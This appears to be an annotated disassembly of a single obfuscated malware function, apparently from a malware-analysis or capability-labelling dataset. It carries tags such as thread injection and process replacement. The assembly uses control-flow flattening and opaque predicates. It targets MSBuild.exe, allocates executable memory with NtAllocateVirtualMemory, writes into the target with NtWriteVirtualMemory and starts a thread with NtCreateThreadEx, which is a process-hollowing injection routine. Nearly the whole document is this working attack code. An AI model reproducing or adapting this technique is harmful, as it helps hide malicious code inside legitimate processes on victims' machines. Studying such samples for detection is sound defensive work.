Function at 0x1000e280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x10090080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0x8b6e541b
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x801ec106
je 0x100111dc
jmp 0x1000e2bc
mov eax, dword [ebp - 0x10c]
sub eax, 0x80c724a4
je 0x10010b6e
jmp 0x1000e2d2
mov eax, dword [ebp - 0x10c]
sub eax, 0x80ddf0db
je 0x10010ed3
jmp 0x1000e2e8
mov eax, dword [ebp - 0x10c]
sub eax, 0x82f0f52b
je 0x1001386a
jmp 0x1000e2fe
mov eax, dword [ebp - 0x10c]
sub eax, 0x83e7d645
je 0x100112b1
jmp 0x1000e314
mov eax, dword [ebp - 0x10c]
sub eax, 0x85534df0
je 0x1001075e
jmp 0x1000e32a
mov eax, dword [ebp - 0x10c]
sub eax, 0x85618750
je 0x10013624
jmp 0x1000e340
mov eax, dword [ebp - 0x10c]
sub eax, 0x85e7a5e3
je 0x10011eaf
jmp 0x1000e356
mov eax, dword [ebp - 0x10c]
sub eax, 0x86c06ce9
je 0x100125af
jmp 0x1000e36c
mov eax, dword [ebp - 0x10c]
sub eax, 0x880b4b75
je 0x10011f3e
jmp 0x1000e382
mov eax, dword [ebp - 0x10c]
sub eax, 0x894ae6c0
je 0x10010858
jmp 0x1000e398
mov eax, dword [ebp - 0x10c]
sub eax, 0x89dad50e
je 0x10011ba5
jmp 0x1000e3ae
mov eax, dword [ebp - 0x10c]
sub eax, 0x8acd8806
je 0x1001365b
jmp 0x1000e3c4
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b6e541b
je 0x1000fce1
jmp 0x1000e3da
mov eax, dword [ebp - 0x10c]
sub eax, 0x8bfe85a9
je 0x10013791
jmp 0x1000e3f0
mov eax, dword [ebp - 0x10c]
sub eax, 0x8c2d318a
je 0x10013417
jmp 0x1000e406
mov eax, dword [ebp - 0x10c]
sub eax, 0x8df3b268
je 0x100130a1
jmp 0x1000e41c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f0d4bb2
je 0x10012767
jmp 0x1000e432
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f386777
je 0x100109ab
jmp 0x1000e448
mov eax, dword [ebp - 0x10c]
sub eax, 0x90641c87
je 0x10012f12
jmp 0x1000e45e
mov eax, dword [ebp - 0x10c]
sub eax, 0x918496c8
je 0x10011784
jmp 0x1000e474
mov eax, dword [ebp - 0x10c]
sub eax, 0x919cc769
je 0x10011151
jmp 0x1000e48a
mov eax, dword [ebp - 0x10c]
sub eax, 0x922990b1
je 0x100122a6
jmp 0x1000e4a0
mov eax, dword [ebp - 0x10c]
sub eax, 0x923a0fa0
je 0x10011548
jmp 0x1000e4b6
mov eax, dword [ebp - 0x10c]
sub eax, 0x923c3a18
je 0x1001049e
jmp 0x1000e4cc
mov eax, dword [ebp - 0x10c]
sub eax, 0x9295bb67
je 0x10012c56
jmp 0x1000e4e2
mov eax, dword [ebp - 0x10c]
sub eax, 0x93413a5b
je 0x10013065
jmp 0x1000e4f8
mov eax, dword [ebp - 0x10c]
sub eax, 0x9369e34f
je 0x10012297
jmp 0x1000e50e
mov eax, dword [ebp - 0x10c]
sub eax, 0x950056c4
je 0x10012f7a
jmp 0x1000e524
mov eax, dword [ebp - 0x10c]
sub eax, 0x95eb713a
je 0x1001066a
jmp 0x1000e53a
mov eax, dword [ebp - 0x10c]
sub eax, 0x98948440
je 0x100115c3
jmp 0x1000e550
mov eax, dword [ebp - 0x10c]
sub eax, 0x98d1626a
je 0x100117c4
jmp 0x1000e566
mov eax, dword [ebp - 0x10c]
sub eax, 0x99242a8b
je 0x10013303
jmp 0x1000e57c
mov eax, dword [ebp - 0x10c]
sub eax, 0x9b1d15f0
je 0x10010d0b
jmp 0x1000e592
mov eax, dword [ebp - 0x10c]
sub eax, 0x9c4fd9a9
je 0x1001131f
jmp 0x1000e5a8
mov eax, dword [ebp - 0x10c]
sub eax, 0x9cbfe6e8
je 0x10013633
jmp 0x1000e5be
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d2abc87
je 0x10013a64
jmp 0x1000e5d4
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d5ec6be
je 0x1001247a
jmp 0x1000e5ea
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d5ed99c
je 0x10010fe4
jmp 0x1000e600
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d6791c1
je 0x1001001e
jmp 0x1000e616
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e6c7f3c
je 0x100104e1
jmp 0x1000e62c
mov eax, dword [ebp - 0x10c]
sub eax, 0x9f4e61e1
je 0x10010ee2
jmp 0x1000e642
mov eax, dword [ebp - 0x10c]
sub eax, 0xa070637b
je 0x1001046e
jmp 0x1000e658
mov eax, dword [ebp - 0x10c]
sub eax, 0xa0c6d951
je 0x100135a0
jmp 0x1000e66e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa130a5f9
je 0x100108b0
jmp 0x1000e684
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1b8b3a9
je 0x10010849
jmp 0x1000e69a
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1f67ae4
je 0x10011243
jmp 0x1000e6b0
mov eax, dword [ebp - 0x10c]
sub eax, 0xa22780b7
je 0x100131c7
jmp 0x1000e6c6
mov eax, dword [ebp - 0x10c]
sub eax, 0xa35ea9b3
je 0x1001290b
jmp 0x1000e6dc
mov eax, dword [ebp - 0x10c]
sub eax, 0xa4d2ed32
je 0x10010dc9
jmp 0x1000e6f2
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5807d7d
je 0x10012a9a
jmp 0x1000e708
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5a9a4b3
je 0x10010977
jmp 0x1000e71e
mov eax, dword [ebp - 0x10c]
sub eax, 0xadb19ed9
je 0x100124a8
jmp 0x1000e734
mov eax, dword [ebp - 0x10c]
sub eax, 0xae9fdd80
je 0x10013a55
jmp 0x1000e74a
mov eax, dword [ebp - 0x10c]
sub eax, 0xafa05212
je 0x10011129
jmp 0x1000e760
mov eax, dword [ebp - 0x10c]
sub eax, 0xb062ac6a
je 0x10013176
jmp 0x1000e776
mov eax, dword [ebp - 0x10c]
sub eax, 0xb079c230
je 0x10010300
jmp 0x1000e78c
mov eax, dword [ebp - 0x10c]
sub eax, 0xb1065fe7
je 0x100127c9
jmp 0x1000e7a2
mov eax, dword [ebp - 0x10c]
sub eax, 0xb19ca302
je 0x10011fb6
jmp 0x1000e7b8
mov eax, dword [ebp - 0x10c]
sub eax, 0xb1e4c28f
je 0x10012cc7
jmp 0x1000e7ce
mov eax, dword [ebp - 0x10c]
sub eax, 0xb2160067
je 0x1000fe22
jmp 0x1000e7e4
mov eax, dword [ebp - 0x10c]
sub eax, 0xb44b98bc
je 0x1001000f
jmp 0x1000e7fa
mov eax, dword [ebp - 0x10c]
sub eax, 0xb485356a
je 0x1001073d
jmp 0x1000e810
mov eax, dword [ebp - 0x10c]
sub eax, 0xb5ad3f54
je 0x1001017f
jmp 0x1000e826
mov eax, dword [ebp - 0x10c]
sub eax, 0xb6167fa9
je 0x1001147b
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
mov edx, ecx
sub edx, 0xa6d9e522
sub edx, 1
add edx, 0xa6d9e522
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf933b59f
mov ecx, 0x4d05128
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0x26be5447
jmp 0x10013a74
mov dword [ebp - 0x108], 0x9d6791c1
jmp 0x10013a74
mov dword [ebp - 0x108], 0x135b8058
jmp 0x10013a74
mov dword [ebp - 0x108], 0x3b23ad03
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x85618750
mov ecx, 0x2c475f69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0xb6cd8e4d
jmp 0x10013a74
mov eax, dword [ebp - 0xf4]
sub eax, 0x2b5bc63
add eax, 1
add eax, 0x2b5bc63
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x108], 0x1d4f4b38
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
mov edx, eax
sub edx, 0xd02ab9b8
sub edx, 1
add edx, 0xd02ab9b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xffa5e995
mov ecx, 0xecfc31f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0xc37610b4
jmp 0x10013a74
mov dl, byte [ebp - 0x8b]
mov eax, 0x85534df0
mov ecx, 0x6a206fe8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov byte [ebp - 0xf5], 0
mov dword [ebp - 0x108], 0x6b08bf2
jmp 0x10013a74
mov dword [ebp - 0x108], 0x894ae6c0
jmp 0x10013a74
mov dl, 1
mov eax, 0x16efbfd
mov ecx, 0xd46c073e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
mov edx, ecx
add edx, 0x26f20a29
sub edx, 1
sub edx, 0x26f20a29
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2a5431c0
mov ecx, 0x2cd4048e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0xd28a6b70
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x355ef23
mov ecx, 0x3dd195e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0x9f4e61e1
jmp 0x10013a74
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b56c838
mov ecx, 0x11a65dfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0x4bce18f3
jmp 0x10013a74
mov dword [ebp - 0x108], 0x9f4e61e1
jmp 0x10013a74
mov dword [ebp - 0xfc], 0xefb8ee8
cmp dword [ebp - 0xfc], 0xefb8ec3
setg al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x108], 0x2a821d7a
jmp 0x10013a74
mov dword [ebp - 0x108], 0x668b8b9c
jmp 0x10013a74
mov eax, dword [ebp - 0xfc]
sub eax, 0x303aa1a6
add eax, 1
add eax, 0x303aa1a6
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x108], 0x919cc769
jmp 0x10013a74
mov dword [ebp - 0x108], 0x16342295
jmp 0x10013a74
mov byte [ebp - 0xfd], 1
mov dword [ebp - 0x108], 0xe6346757
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c36dcba
mov ecx, 0xd57dfef4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x75bcfc62
mov ecx, 0x9c4fd9a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
mov edx, eax
add edx, 0xfaa02d5b
sub edx, 1
sub edx, 0xfaa02d5b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x75bcfc62
mov ecx, 0xee31e0dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dl, byte [ebp - 0x82]
mov eax, 0x626848db
mov ecx, 0x77d29379
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbf5468f3
mov ecx, 0x3e05dd6b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0x130a7447
jmp 0x10013a74
mov dl, byte [ebp - 0x81]
mov eax, 0xe9c6841a
mov ecx, 0x25566d77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
mov edx, eax
add edx, 0xfaaa27c3
sub edx, 1
sub edx, 0xfaaa27c3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71f922b2
mov ecx, 0xdfca397a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x104], 1
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
mov edx, ecx
sub edx, 0xc67e9180
sub edx, 1
add edx, 0xc67e9180
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6bfbdfb4
mov ecx, 0x18a3d432
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0x764be6b9
jmp 0x10013a74
mov dword [ebp - 0x108], 0x584cc792
jmp 0x10013a74
mov dword [ebp - 0x108], 0x922990b1
jmp 0x10013a74
mov dl, byte [ebp - 0x71]
mov eax, 0xde17a0a2
mov ecx, 0x1671da4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
sub ecx, 0x5ad4075f
add ecx, 1
add ecx, 0x5ad4075f
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0xadb19ed9
jmp 0x10013a74
mov dword [ebp - 0x108], 0x65c5bda2
jmp 0x10013a74
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x3c]
sub eax, 0x657767fc
add eax, ecx
add eax, 0x657767fc
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x108], 0xb9ceccbd
jmp 0x10013a74
mov eax, dword [ebp - 0x64]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xc8]
mov byte [eax], cl
mov eax, dword [ebp - 0xc4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dl, byte [eax]
mov eax, 0x19834eae
mov ecx, 0x104ec039
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1cca2fb
mov ecx, 0x60efa9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf9a9a4db
mov ecx, 0x786534a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov edx, dword [ebp - 0xb4]
mov eax, 0xcf39e6ac
mov ecx, 0x57a88dbd
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov edx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
mov eax, 0x90641c87
mov ecx, 0x62900511
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xac]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x34], eax
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
mov edx, ecx
sub edx, 0xcbad31b0
sub edx, 1
add edx, 0xcbad31b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5d4f3778
mov ecx, 0x9ba064f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xbc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x48
add eax, 4
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x108], 0x950056c4
jmp 0x10013a74
mov edx, dword [ebp - 0x2c]
mov eax, 0x72c0ee10
mov ecx, 0x3864188f
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x1f35825b
jmp 0x10013a74
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc18e0e79
mov ecx, 0x3cebbb23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
mov edx, eax
sub edx, 0xf7569931
sub edx, 1
add edx, 0xf7569931
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x520ce7b3
mov ecx, 0xa22780b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xb005748e
sub ecx, eax
add ecx, 0xb005748e
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
sub ecx, 0x417c6da9
add ecx, eax
add ecx, 0x417c6da9
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [0x100916ac]
mov ecx, dword [0x100916a8]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x520ce7b3
mov ecx, 0x3dfeedda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0x72c0ee10
jmp 0x10013a74
mov ecx, dword [0x100916ac]
mov eax, dword [0x100916a8]
mov edx, ecx
sub edx, 0x2613b4a3
sub edx, 1
add edx, 0x2613b4a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xae9fdd80
mov ecx, 0x55caecd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10013a74
mov dword [ebp - 0x108], 0x57cf59aa
jmp 0x10013a74
mov dword [ebp - 0x108], 0xb079c230
jmp 0x10013a74
mov dword [ebp - 0x108], 0xf47ac8b6
jmp 0x10013a74
mov dword [ebp - 0x108], 0xd3ff63bb
jmp 0x10013a74
mov byte [ebp - 0xfe], 0
mov dword [ebp - 0x108], 0xe75ecb4e
jmp 0x10013a74
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0xefb8ee6
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x108], 0x1894a764
jmp 0x10013a74
mov dword [ebp - 0x108], 0x8c2d318a
jmp 0x10013a74
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x108], 0x1ea04ea9
jmp 0x1000e2a0